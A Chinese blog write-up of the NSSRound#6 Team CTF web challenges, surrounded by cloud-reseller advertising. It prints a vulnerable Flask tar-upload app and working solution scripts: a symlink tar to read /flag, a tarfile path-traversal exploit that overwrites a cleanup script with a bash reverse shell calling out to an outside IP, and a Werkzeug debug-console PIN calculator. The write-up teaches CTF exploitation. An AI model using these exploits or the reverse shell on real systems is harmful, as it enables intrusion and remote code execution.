[NSSRound#6 Team]Web学习

阿里云国内75折 回扣 微信号:monov8
阿里云国际,腾讯云国际,低至75折。AWS 93折 免费开户实名账号 代冲值 优惠多多 微信号:monov8 飞机:@monov6

[NSSRound#6 Team]Web学习


文章目录


前言

日常做点题娱乐下刷到了[NSSRound#6 Team]中是三道web题学习到了不少记录下知识点。


提示以下是本篇文章正文内容下面案例可供参考

一、[NSSRound#6 Team]check(V1)

  1. 进入题目直接给出了源码是python的flask框架。
# -*- coding: utf-8 -*-
from flask import Flask, request
import tarfile
import os

app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['tar'])


def allowed_file(filename):
    return '.' in filename and \
           filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS


@app.route('/')
def index():
    with open(__file__, 'r') as f:
        return f.read()


@app.route('/upload', methods=['POST'])
def upload_file():
    if 'file' not in request.files:
        return '?'
    file = request.files['file']
    if file.filename == '':
        return '?'
    print(file.filename)
    if file and allowed_file(file.filename) and '..' not in file.filename and '/' not in file.filename:
        file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], file.filename)
        if (os.path.exists(file_save_path)):
            return 'This file already exists'
        file.save(file_save_path)
    else:
        return 'This file is not a tarfile'
    try:
        tar = tarfile.open(file_save_path, "r")
        tar.extractall(app.config['UPLOAD_FOLDER'])
    except Exception as e:
        return str(e)
    os.remove(file_save_path)
    return 'success'


@app.route('/download', methods=['POST'])
def download_file():
    filename = request.form.get('filename')
    if filename is None or filename == '':
        return '?'

    filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)

    if '..' in filename or '/' in filename:
        return '?'

    if not os.path.exists(filepath) or not os.path.isfile(filepath):
        return '?'

    with open(filepath, 'r') as f:
        return f.read()


@app.route('/clean', methods=['POST'])
def clean_file():
    os.system('/tmp/clean.sh')
    return 'success'


if __name__ == '__main__':
    app.run(host='0.0.0.0', debug=True, port=80)

能够进行文件的上传与下载同时限制了文件只能是tar文件并对文件名进行了过滤禁止了…和/符号。

解题的主要思路在于

 tar = tarfile.open(file_save_path, "r")
 tar.extractall(app.config['UPLOAD_FOLDER'])

可以通过上传一个tar文件文件里面的内容软连接指向/flagtar被解压后里面的文件指向了flag的内容然后通过download函数将文件下载出来即可得到flag。

import requests

s = requests.session()


def upload():
    url = 'http://43.142.108.3:28036/upload'
    resp = requests.post(url, files={'file': open(file='flag.tar', mode='rb')})
    print(resp.text)


def download():
    url = 'http://43.142.108.3:28036/download'
    resp = s.post(url, data={'filename': 'flag'})
    print(resp.text)


if __name__ == "__main__":
    upload()
    download()
"""
ln -s /flag flag
tar -cvf flag.tar flag
先软连接指向/flag,然后上传并文件即可
"""

check(v2)的解也是一样的

二、[NSSRound#6 Team]check(Revenge)

  1. 源代码
# -*- coding: utf-8 -*-
from flask import Flask, request
import werkzeug.debug
import tarfile
import os

app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['tar'])


def allowed_file(filename):
    return '.' in filename and \
           filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS


@app.route('/')
def index():
    with open(__file__, 'r') as f:
        return f.read()


@app.route('/upload', methods=['POST'])
def upload_file():
    if 'file' not in request.files:
        return '?'
    file = request.files['file']
    if file.filename == '':
        return '?'
    if file and allowed_file(file.filename) and '..' not in file.filename and '/' not in file.filename:
        file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], file.filename)
        if os.path.exists(file_save_path):
            return 'This file already exists'
        file.save(file_save_path)
    else:
        return 'This file is not a tarfile'
    try:
        tar = tarfile.open(file_save_path, "r")
        tar.extractall(app.config['UPLOAD_FOLDER'])
    except Exception as e:
        return str(e)
    os.remove(file_save_path)
    return 'success'


@app.route('/download', methods=['POST'])
def download_file():
    filename = request.form.get('filename')
    if filename is None or filename == '':
        return '?'

    filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)

    if '..' in filename or '/' in filename:
        return '?'

    if not os.path.exists(filepath) or not os.path.isfile(filepath):
        return '?'

    if os.path.islink(filepath):
        return '?'

    if oct(os.stat(filepath).st_mode)[-3:] != '444': #文件权限位
        return '?'

    with open(filepath, 'r') as f:
        return f.read()


@app.route('/clean', methods=['POST'])
def clean_file():
    os.system('su ctf -c /tmp/clean.sh')
    return 'success'


# print(os.environ)

if __name__ == '__main__':
    app.run(host='0.0.0.0', debug=True, port=80)

代码通过增加了os.path.islink(filepath)判断下载的文件是否存在软连接存在则返回?进而导致了不能使用上面的解法。

解题思路

  1. CVE-2007-4559漏洞可以通过tar.extractall()函数的漏洞解压文件时候覆盖掉目录中的文件
    在这里插入图片描述
  2. flask开启了debug=true模式会有/console控制台计算出PIN码即可进入控制台。

关于flask框架中PIN码的计算PIN码的计算通过werkzeug中debug进行计算主要代码的如下

    h = hashlib.sha1()
    for bit in chain(probably_public_bits, private_bits):
        if not bit:
            continue
        if isinstance(bit, str):
            bit = bit.encode("utf-8")
        h.update(bit)
    h.update(b"cookiesalt")

    cookie_name = f"__wzd{h.hexdigest()[:20]}"

    if num is None:
        h.update(b"pinsalt")
        num = f"{int(h.hexdigest(), 16):09d}"[:9]

    if rv is None:
        for group_size in 5, 4, 3:
            if len(num) % group_size == 0:
                rv = "-".join(
                    num[x : x + group_size].rjust(group_size, "0")
                    for x in range(0, len(num), group_size)
                )
                break
        else:
            rv = num

    return rv, cookie_name

将两个参数probably_public_bits, private_bits的值进行sha1加密再加密了cookiesalt和pinsalt。

probably_public_bits参数如下

 probably_public_bits = [
    username, #用户名即/etc/passwd中的某用户
    modname, #默认flask.app
    getattr(app, "__name__", type(app).__name__), #名称默认Flask
    getattr(mod, "__file__", None), #app.py的路径
] 

private_bits参数

private_bits = [str(uuid.getnode()), get_machine_id()] #uuid.getnode()获取mac地址的十进制值get_machine_id()获取机器ID


def _generate() -> t.Optional[t.Union[str, bytes]]:
        linux = b""

        # machine-id is stable across boots, boot_id is not.
        for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
            try:
                with open(filename, "rb") as f:
                    value = f.readline().strip()
            except OSError:
                continue

            if value:
                linux += value
                break

        # Containers share the same machine id, add some cgroup
        # information. This is used outside containers too but should be
        # relatively stable across boots.
        try:
            with open("/proc/self/cgroup", "rb") as f:
                linux += f.readline().strip().rpartition(b"/")[2]
        except OSError:
            pass

        if linux:
            return linux

通过获取/etc/machine-id或/proc/sys/kernel/random/boot_id值以及/proc/self/cgroup的值拼接起来返回因为docker机可能没有/etc/machine-id的值所以只获取一个就break。

总的来说PIN码的简单计算如下

  1. 获取MAC地址的十进制值
  2. 获取一段machine-id的值/etc/machine-id+/proc/self/cgroup或/proc/sys/kernel/random/boot_id+/proc/self/cgroup/etc/machine-id的优先级要比/proc/self/cgroup高
  3. 通过SHA-1算法以及加盐计算出PIN码

解题

  1. 上传tar文件覆盖掉clean.sh调用clean()函数调用exp.sh进行反弹shell
    exp.sh如下
bash -c "bash -i >& /dev/tcp/120.79.29.170/4444 0>&1"

exp.py如下


import requests as req
import tarfile


def changeFileName(filename):
    filename.name = '../../../../tmp/clean.sh'
    return filename


with tarfile.open("exp.tar", "w") as tar:
    tar.add('exp.sh', filter=changeFileName)


def upload():
    url = 'http://43.143.7.127:28589/upload'
    response = req.post(url=url, files={"file": open("exp.tar", 'rb')})
    print(response.text)


def clean():
    url = 'http://43.143.7.127:28589/clean'
    response = req.post(url)
    print(response.text)


if __name__ == "__main__":
    upload()
    clean()

在这里插入图片描述
在这里插入图片描述

flag文件中并没有flagflag应该在you_could_never_guess_the_flag_path中但是只有root用户能够读取发现main.py是root权限运行可以计算PIN码进入console控制台获取到flag

  1. 计算PIN码
    在这里插入图片描述
    在这里插入图片描述

在这里插入图片描述

python环境是3.10路径是/usr/local/lib/python3.10/site-packages/flask/app.py

因此可以计算出PIN码

import hashlib
from itertools import chain
probably_public_bits = [
    'root'  
    'flask.app',
    'Flask',
    '/usr/local/lib/python3.10/site-packages/flask/app.py'
]

private_bits = [
    '2485376926199',  
    '96cec10d3d9307792745ec3b85c896208a9b826a2fbed5b2148857d4d630f05c481cf898014dbbfc396e4924ea79d250'
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

利用PIN码登录console控制台即可获取flag
在这里插入图片描述

总结

主要是关于PIN码的计算先从/etc/passwd获取到shell的用户然后通过shell命令获取app.py的路径和版本然后再获取MAC地址转换十进制最后获取/etc/machine-id或/proc/sys/kernel/random/boot_id与/proc/self/cgroup拼接/etc/machine-id要比/proc/sys/kernel/random/boot_id然后根据python的版本获取计算PIN码的算法此处是SHA1计算出PIN码。

阿里云国内75折 回扣 微信号:monov8
阿里云国际,腾讯云国际,低至75折。AWS 93折 免费开户实名账号 代冲值 优惠多多 微信号:monov8 飞机:@monov6

“[NSSRound#6 Team]Web学习” 的相关文章